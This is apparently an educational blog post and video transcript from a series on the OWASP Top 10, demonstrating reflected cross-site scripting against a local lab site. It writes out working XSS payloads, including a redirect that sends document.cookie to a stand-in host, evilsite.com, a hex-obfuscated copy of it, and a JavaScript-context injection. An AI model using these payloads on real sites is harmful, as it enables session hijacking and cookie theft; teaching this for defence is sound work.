Wednesday, 6 February 2013

OWASP Top 10: #2 – Cross Site Scripting (XSS). The risk explained

This is one in a series of videos and blog posts that explore the top 10 most critical web application security risks as defined by OWASP.


OWASP - the Open Web Application Security Project, was formed in 2001 and is a not for profit charitable organisation.

It is an open community dedicated to enabling organisations to conceive, develop, acquire, operate and maintain applications that can be trusted.

In this session, I will deal with the OWASP #2 risk. Cross Site Scripting (XSS).

I will define Cross Site Scripting and provide several examples of Cross Site Scripting at work. In a follow on session, I will demonstrate various techniques that can be employed to mitigate against the risk of Cross Site Scripting.
So let’s begin with a definition:
“XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.” - OWASP Top 10, 2010
This is about gaining control over aspects of the rendering and execution of the site in the victim’s browser.


You can read the transcript below.

HTML5 player
 





Transcript









The best way to demonstrate this risk of Cross Site Scripting is by way of an example.

So let me start up Firefox and then load up a vulnerable website at http://xss.
This website is hosted under a local instance of IIS and uses a SQL Server database at the back end to store the data.

I’ll use the search feature on the front page to search for lager.

As you can see, the search term appears in the query string of the results page and is repeated in the page body.

So let me change the query string to lager <em>yum</em> then press enter to load the page again.

The page loads with the word yum in italics thus illustrating that XSS has been successful.

Well that was pretty harmless so let’s try something malicious.

Let me just click on the your logo here text in the top left corner to return to the front page

I’ll use the search feature on the Home page to search for lager once again.

This time, I’ll update the query string parameter to
lager<script>document.getElementById('ctl11_loginLink').href=
'http://evilsite.com';</script>
then press enter to load the page again.

This code is accessing the Login control in the upper right hand corner, and updating it’s hyperlink to evilsite.com.

So let’s see what happens when I navigate using the Log in link at the top right of the page.

As you can see, the page which loads after clicking the link is evilsite.com thus indicating that XSS has successfully changed the behaviour of the site.

Clearly a user isn’t going to use the URL directly to force themselves to be redirected to a malicious site but we will see later how this type of script attack can be introduced by an attacker.

For now. Let’s try something else.

How about stealing cookies?

I’ll click on the your logo here text in the top left corner to return to the home page.

Once again I’ll use the search feature on the front page to search for lager.

Let’s try updating the query string parameter to lager<script>location.href='http://evilsite.com/?c='%2Bdocument.cookie;
</script>
then press enter to load the page again.

The browser has redirected us to evilsite.com with the cookies from the original site in the query string.

Just imagine what else might have been stored in the cookie!

Clearly, anyone who inspects the status bar will notice suspect references, so let’s a little obfuscation!

Once again I’ll click on the your logo here text in the top left corner to return to the front page and then use the search feature to search for lager.

Now let me change the url to this very obscure string of characters:

lager%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e
%2e%68%72%65%66%3d%27%68%74%74%70%3a%2f%2f%65%76%69
%6c%73%69%74%65%2e%63%6f%6d%2f%3f%63%3d%27%2b%64%6f
%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73
%63%72%69%70%74%3e
then press enter to load the page again.

These escape characters represent the same URL that we saw previously.

The browser has once again redirected the user to evilsite.com with the cookies from the original site in the query string

To a casual user, this url will look obscure enough to present no threat.
 
Let’s try using cross site scripting in the javascript output context.

I’ll click on the your logo here text in the top left corner to return to the home page and use the search feature to search for lager once again.
 
I’ll click on the first result which is Laughing Lumberjack Lager.

A page loads with a jQuery dialog box containing the product name.

Let’s see what happens when I change the ProductName query string parameter to read ProductName=Laughing Lumberjack Lager'
;document.getElementById('ctl11_loginLink').href='http://evilsite.com';//

I’ll  press enter to load the page again.

And then navigate to the Log in link at the top right of the page.

This causes evilsite.com to load, thus indicating that XSS has successfully changed the behaviour of the site without using a script tag!


So how do browser’s behaviour differ?


Let’s take a look.
 
I’ll stay in Firefox for now and click on the your logo here text in the top left corner to return to the front page.

As before, I will use the search feature on the front page to search for lager.

Let me update the query string to read lager <script>alert(‘XSS’);</script>

Notice how a JavaScript alert box with the text XSS appears.

OK let’s open up Internet Explorer and see how it deals with the same attack.

I’ll load the website at http://xss and use the search feature on the front page to search for lager.

As before, I’ll change the query string to read lager <script>alert(‘XSS’);</script>.

But this time, notice how at the bottom of the browser, Internet Explorer displays a message about having prevented XSS.


OK. In this video I have demonstrated the nature of a Cross Site Scripting attack.

As you can see from these simple examples, a vulnerable application can be easily exploited by an attacker using such an attack.

In my next video and blog post, I will show you how to quite easily mitigate against this risk and thus protect yourself from the #2 in OWASP’s top ten. Cross Site Scripting (XSS).


Flash player

Training?

If you are interested in OWASP training, we offer the following courses:




See you soon

Phil Stirpé
"I don't do average!"





No comments:

Post a Comment